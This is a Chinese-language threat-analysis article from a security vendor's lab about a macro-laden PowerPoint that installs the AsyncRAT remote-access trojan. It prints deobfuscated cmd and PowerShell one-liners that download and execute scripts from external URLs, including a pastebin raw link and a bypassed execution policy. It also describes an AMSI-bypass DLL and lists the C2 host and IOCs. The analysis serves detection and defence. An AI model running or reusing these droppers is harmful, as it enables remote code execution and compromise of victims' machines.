EN
lanyun
technologies
银河实验室 深谙安全之道,热衷技术创新
LABORATORIES 银河实验室

前    述

在兰眼下一代威胁感知系统的日常监测样本,有一样本引起我们注意,因为样本为 PPT 格式,关于 PPT 恶意样本平时遇到的比较少 (大多数是 doc、xls、rtf 类),并且检测出来的威胁这么多,所以才引起我们注意,并且还要对它进行一番分析,其检测结果如下所示:

图片

经后续详细分析后,可确定该样本为投递 AsyncRAT 远控木马的恶意文档。AsyncRAT 是一款开源的远程访问工具 (RAT),旨在通过安全的加密连接来远程监视和控制其他计算机。目前 AsyncRAT 包含如下功能:

  • 客户端屏幕查看器和记录器

  • 客户端防病毒和完整性管理器

  • 客户端 SFTP 访问,包括上传和下载

  • 客户端和服务器聊天窗口

  • 客户端动态 DNS 和多服务器支持 (可配置)

  • 客户端密码恢复

  • 客户端 JIT 编译器

  • 客户端键盘记录器

  • 客户端反分析 (可配置)

  • 服务器控制的更新

  • 客户端反恶意软件启动

  • 服务器配置编辑器

  • 服务器多端口接收器 (可配置)

  • 服务器缩略图

  • 服务器二进制生成器 (可配置)

  • 服务器混淆器 (可配置)

  • And much more!

样本攻击的流程分成四个阶段,以下是每个阶段的详细分析过程,请 "食" 用!

 

攻击第一阶段分析

我们首先来看下样本的详细信息,如下所示:

图片

从上图可知此样本为一个 PPT 文件,双击运行后会弹出警告,如下所示:

图片

看来这个 PPT 文档里包含宏代码,将其中的宏代码 dump 出来,宏代码如下所示:

图片

OLE Stream: VBA-ucyhJgB

图片

OLE Stream: VBA-Módulo1

文档中包含两个 OLE Stream,入口在 Auto_Open() 处,最终调用的是 ucyhJgB 中的 eQBQnywsj 子例程,整个宏代码被混淆过,xzdokekst 变量解出来的字符串如下所示:

图片

  •  
cmd.exe /c CmD ewhuuyb cmd /r POwershell <NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://amandaventure.com.br/2020/1.jpg” , ”$ENv:TEMP\qzlkxl.vbs” ) ; stARt-PRoCESs ”$ENv:TEMP\qzlkxl.vbs”

后面作为 ozpjnrbr 的参数,如下所示:

图片

以上就为攻击的第一阶段,利用 cmd 启动 powershell 进而去执行 powershell 命令 —— 远程下载文件到用户 Temp 目录下重命名为 qzlkxl.vbs 并将其运行。兰眼中该样本的进程树如下所示:

图片

 

 

攻击第二阶段分析

从第一阶段远程下载的地址来看,表面上为 jpg 文件,其实不是,根据 jpg 文件里的内容可判定为 VB 脚本文件,当然你也可以从它重命名后的文件名后缀可看出,我们来看下这个远程下载的 1.jpg 里的内容吧,如下所示:

图片

同样,VB 脚本中的代码也做了混淆,将其中 exec 中的参数解出后如下所示:

  •  
PowerSheLl -windowstyle hidden -noexit -executionpolicy bypass -command IEX((neW-ObjEcT(('Net.Webclient'))).((Downloadstring')).InVokE((('https://pastebin.com/raw/cauDwQUe'))))

为一段 powershell 命令,最终创建 WMI 相关服务将其运行起来,如下所示:

图片

此阶段同样也是连接远程地址下载文件并执行,地址为

  •  
https[:]//pastebin.com/raw/cauDwQUe

 

 

攻击第三阶段分析

我们来看下攻击第二阶段连接网址的内容,如下所示:

图片

根据上图中的内容可知,代码已被混淆,因此需要将其解码出来,内容包含两大串字符串,第一大串字符串进行解码,不过要注意的是一定要在开头加上 TV 这两个字符,解出来的字符串内容如下所示:

图片

解出来的内容有 PE 特征,说明这个为 一个 PE 文件,将其保存到本地后查看文件信息可知为一个 .NET 的 dll 程序,如下所示:

图片

该 dll 文件用了 .NET Reactor 进行保护,.NET Reactor 是一款强大的 .NET 代码混淆加密保护工具,常用于防止对 .NET 程序的反编译破解等场景。同样将另一大串的字符串解密,解密出来的内容如下所示:

图片

同样也为一个 PE 文件,将其保存到本地查看文件信息可知为一个 VB .NET 的 exe 程序,也用了 .NET Reactor 进行保护,如下所示:

图片

我们再返回到原地址内容,看下是这两个文件是如何被操作的,如下所示:

图片

KILLAMSI.dll

图片

koqqNLCG.exe

 

 

攻击第四阶段分析

如要具体分析上述两个 PE 文件运行机理,需要先对其做去混淆处理,如下:

图片

这里用到的是修改后的 de4dot 程序。de4dot 是用 C# 编写的一款开源 .NET 解混淆器和解压缩器。它会尽力将混淆后的程序集恢复到几乎原始的程序集。大部分混淆都可以完全恢复,例如,字符串加密,但是符号重命名是无法恢复的,因为原始名称不是混淆程序集的一部分。两个 PE 文件去混淆后的结果如下:

图片

反编译后的结果如下所示:

图片

由攻击第三阶段分析可知,dll 的入口在 Main 处,exe 在入口处,如下所示:

图片

图片

KILLAMSI.dll

在 dll 中的 Main() 中,会先去判断 IntPtr 的大小 (判断系统位数),IntPtr 的大小不同会影响传入后续的参数不同,如下所示:

图片

smethod_0 函数如下:

图片

smethod_0 函数从 Amsi.dll 加载 AmsiScanBuffer 函数,byte_2 为它的一个参数。AMSI 全称为 ANTI MALWARE SCAN INTERFACE,即反恶意软件扫描接口。顾名思义,它要做的就是扫描,检测和阻止任何有害的东西。此处这样做目的在于绕过 AMSI 以便执行任意的 powershell 代码。

koqqNLCG.exe

koqqNLCG.exe 的入口处如下图所示:

图片

Execute() 为开始线程执行,如下所示:

图片

在开始处发现有硬编码字符串,为一个网址 mika201[.]duckdns[.]org,端口为 444,上面为创建的线程,如下所示:

图片

结合兰眼中的网络连接,发现正是此地址,如下所示:

图片

 在 VT 上,此链接关联到很多恶意文件,如下所示:

图片

另外也被关联到 AsyncRAT,如下所示:

图片

koqqNLCG.exe 中函数功能都跟远控有关,如下所示:

 

 

 

AsyncRAT 的真面目

由于 AsyncRAT 开源,所以 Download 一份在本地来测试一番,如下所示:

图片

源程序中目录中的 Stub.exe 与 VT 上的 Stub.exe,如下图所示:

图片

源代码工程目录结构如下图所示:

图片

查看源代码,具有远控都有的功能,如若想知其如何实现,可自行在源码相关部分查看。具有的功能在文章开头有说明。最后要说的一点就是恶意的 Office 文件越来越多,你看,连 PPT 都不放过,bleepingcomputer 有过专门调查,大多都是从恶意文档开始,因此,作为恶意软件分析人员,我们应该时刻去关注最新出现的威胁,以便获取到最新的技术然后想办法去测和防御它。

 

IOCs

MD5:

  • 68cc15fc3e1ac6ccf6af337bdeaafca2

  • fa6112f67f37ef0d9f76526287453022

  • 0a9ccc32b02d3908ba09be1c0a7e956b

 

URL:

  • http[:]//amandaventure.com.br/2020/1.jpg

  • https[:]//pastebin.com/raw/cauDwQUe

 

图片

 

- End -

京公网安备 11010802024705号  京ICP备20030588号 Copyright © 兰云科技 www.lanysec.com 版权所有